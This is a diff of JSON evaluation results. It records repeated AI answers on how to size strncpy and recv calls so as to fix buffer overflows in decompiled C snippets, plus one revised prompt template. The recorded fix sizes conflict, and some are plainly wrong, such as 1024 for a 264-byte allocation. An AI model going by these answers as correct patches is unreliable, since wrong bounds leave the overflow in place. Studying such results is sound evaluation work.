"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. Unfortunately, the size of `newNode->data` is not explicitly provided in the code snippet you shared. However, we can infer the size from the `show` function, where `snprintf` is used with a buffer size of `0x400` (1024 in decimal) to format `current->data`. This suggests that `newNode->data` is likely intended to hold strings up to 1024 characters long."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. We need to infer or assume the size based on the context or additional information."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 255,
|
||||||
|
"patch_info": "you need to determine the maximum size of the destination buffer. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "you need to determine the maximum size of the destination buffer. In the `add` function, `newNode->data` is the destination buffer. However, the size of `newNode->data` is not explicitly defined in the provided code. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 264,
|
||||||
|
"patch_info": "you need to determine the size of the destination buffer. In the provided code, the `newNode` is allocated with `malloc(0x108uLL)`, which is 264 bytes. Assuming that the `data` field of the `Node` structure occupies the entire allocated space (which is a common assumption if the structure is not explicitly defined), you should use this size for `strncpy`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "you need to determine the size of the destination buffer. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you posted."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` statement within the `add` function, we need to examine the allocation size for `newNode` and the structure of the `Node` type."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to examine the `Node` structure. However, the provided code does not explicitly define the `Node` structure, so we have to infer its size based on the context."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [
|
||||||
|
"Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
|
||||||
|
],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to examine the context in which `newNode` is allocated and how `data` is used."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [
|
||||||
|
"Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
|
||||||
|
],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for it. However, the provided code does not explicitly define the `Node` structure, so we must infer it based on the context."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [
|
||||||
|
"Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
|
||||||
|
],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to consider the memory allocation for `newNode` and the structure of the `Node`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [
|
||||||
|
"Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
|
||||||
|
],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to examine the memory allocation for `newNode`. The `malloc` call allocates `0x108` bytes for `newNode`. However, the structure of `Node` is not explicitly defined in the provided code, so we must infer the size of `newNode->data` based on the context."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [
|
||||||
|
"Yes, there is a potential `strcpy` vulnerability in the code. The `strcpy` function is used in the `add` and `edit` functions without any bounds checking, which can lead to buffer overflow vulnerabilities.\n\n1. **In the `add` function:**\n - `strcpy(newNode->data, str);` copies the content of `str` into `newNode->data` without checking the length of `str`. If `str` is larger than the allocated space for `newNode->data`, it will overflow, potentially overwriting adjacent memory.\n\n2. **In the `edit` function:**\n - `strcpy(current->data, newStr);` copies `newStr` into `current->data` without checking the length of `newStr`. If `newStr` is larger than the space available in `current->data`, it will cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use safer alternatives like `strncpy` or ensure that the input strings are properly validated and do not exceed the allocated buffer sizes."
|
||||||
|
],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for it."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [
|
||||||
|
"Yes, the `strcpy` used in the `add` and `edit` functions poses a risk of overflow. \n\n**Reason:**\n\n1. **In the `add` function:**\n - The `strcpy` function copies the string from `str` to `newNode->data` without checking the length of `str`.\n - The size of `newNode->data` is not specified in the code, but if `str` is larger than the allocated space for `newNode->data`, it will cause a buffer overflow.\n\n2. **In the `edit` function:**\n - Similarly, `strcpy` copies `newStr` to `current->data` without any bounds checking.\n - If `newStr` is larger than the allocated space for `current->data`, it will also cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use `strncpy` or another safer string handling function that limits the number of characters copied based on the size of the destination buffer."
|
||||||
|
],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for `newNode`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [
|
||||||
|
"Yes, the `strcpy` used in the `add` and `edit` functions poses a risk of overflow. \n\n**Reason:**\n\n1. **In the `add` function:**\n - The `strcpy` function copies the string from `str` to `newNode->data` without checking the length of `str`.\n - The size of `newNode->data` is not specified in the code, but if `str` is larger than the allocated space for `newNode->data`, it will cause a buffer overflow.\n\n2. **In the `edit` function:**\n - Similarly, `strcpy` copies `newStr` to `current->data` without any bounds checking.\n - If `newStr` is larger than the allocated space for `current->data`, it will also cause a buffer overflow.\n\nTo mitigate these vulnerabilities, you should use `strncpy` or another safer string handling function that limits the number of characters copied based on the size of the destination buffer."
|
||||||
|
],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and the allocation size used in the `malloc` call."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function is determined by the size of the `Node` structure and the allocation size. The `malloc(0x108uLL)` call allocates 264 bytes (0x108 in hexadecimal) for the `Node` structure. However, without the exact definition of the `Node` structure, we can only infer the size of `newNode->data` based on the allocation size."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to examine the memory allocation for `newNode` and the structure of the `Node`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and how memory is allocated for it. However, the provided code does not explicitly define the `Node` structure, so we have to make some assumptions based on the context."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` statement within the `add` function, we need to analyze the code and understand the structure of the `Node`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and the memory allocation for `newNode`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "str);` line within the `add` function, we need to understand the structure of the `Node` and the memory allocation for `newNode`."
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
@@ -218,5 +218,149 @@
|
|||||||
"vul_info": [],
|
"vul_info": [],
|
||||||
"fix_size": 255,
|
"fix_size": 255,
|
||||||
"patch_info": "you should limit the size of the data received by the `recv` function to the size of the buffer. The buffer is declared as `char buffer[256];`, so the maximum safe size for `recv` should be 255 bytes to leave room for the null terminator."
|
"patch_info": "you should limit the size of the data received by the `recv` function to the size of the buffer. The buffer is declared as `char buffer[256];`, so the maximum safe size for `recv` should be 255 bytes to leave room for the null terminator."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "you should limit the size of data received to the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can safely hold 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which attempts to read up to `0x400` (1024 in decimal) bytes into a buffer that is only 256 bytes in size. To ensure the program works safely and prevent buffer overflow, the size parameter for `recv` should be limited to the size of the buffer."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "you should ensure that the size of the data received does not exceed the size of the buffer. In the `echo_handler` function, the buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "you need to ensure that the size of data received does not exceed the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the size parameter for `recv` should be adjusted to match the buffer size."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "the size specified in the `recv` call should not exceed the size of the buffer allocated to store the received data. In the `echo_handler` function, the buffer `buffer` is defined with a size of 256 bytes. However, the `recv` call is currently attempting to read up to 1024 bytes (`0x400` in hexadecimal), which exceeds the buffer size and can lead to a buffer overflow."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the `recv` call should not attempt to read more data than the buffer can hold."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "you should limit the size of data received by `recv` to the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "while the `buffer` is only 256 bytes long. To ensure the program works safely without risking a buffer overflow, the size parameter in the `recv` call should be limited to the size of the buffer."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "the size specified for `recv` should not exceed the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To prevent buffer overflow, the `recv` function should be limited to the size of the buffer."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely and to prevent buffer overflow, the `recv` function should be limited to the size of the buffer."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the size parameter in the `recv` function should be limited to the size of the buffer to prevent overflow."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which attempts to read up to 1024 bytes (`0x400uLL`) into a buffer that is only 256 bytes in size. To prevent a buffer overflow, the `recv` function should be limited to the size of the buffer."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which can lead to undefined behavior, including potential security vulnerabilities such as executing unintended code."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which attempts to read up to 1024 bytes (`0x400uLL`) into a buffer that is only 256 bytes in size. To ensure the program works safely, the size parameter in the `recv` function should be limited to the size of the buffer to prevent overflow."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "the `recv` function is called with a buffer size of `0x400` (1024 in decimal), but the `buffer` is only 256 bytes in size. This creates a risk of buffer overflow because the `recv` function can write up to 1024 bytes into a buffer that can only hold 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "the size passed to `recv` should not exceed the size of the buffer. Therefore, the correct size to use with `recv` should be 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "you should limit the size of the data received to the size of the buffer. The buffer is defined as `char buffer[256];`, which means it can hold up to 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "the `recv` function should be limited to reading at most 256 bytes, which is the size of the buffer."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which exceeds the allocated buffer size of 256 bytes. To ensure the program works safely, the size passed to `recv` should not exceed the buffer size. Therefore, the correct size to use with `recv` is 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To ensure the program works safely and to prevent buffer overflow, the size specified in the `recv` call should not exceed the size of the buffer. Therefore, the correct size to use in the `recv` call is 256 bytes."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which exceeds the allocated size of the `buffer` array, which is only 256 bytes. To ensure the program works safely and to prevent buffer overflow, the `recv` function should be called with a size that does not exceed the size of the `buffer`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "recv_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "which attempts to read up to `0x400` (1024) bytes into a buffer that is only 256 bytes in size. To prevent a buffer overflow, the `recv` function should be limited to the size of the buffer."
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
@@ -28,7 +28,7 @@
|
|||||||
"name": "strcpy",
|
"name": "strcpy",
|
||||||
"prompt": {
|
"prompt": {
|
||||||
"role": "user",
|
"role": "user",
|
||||||
"content": "how many size should I set for strncpy in add function which will be used to replace strcpy. Answer with 'size=value(decimal), ', and then give me the reason.\n{code}"
|
"content": "Tell me the length size of newNode->data in strcpy(newNode->data, str); within the add function. Answer with 'size=value(decimal), ', and then give me the reason.\n{code}"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user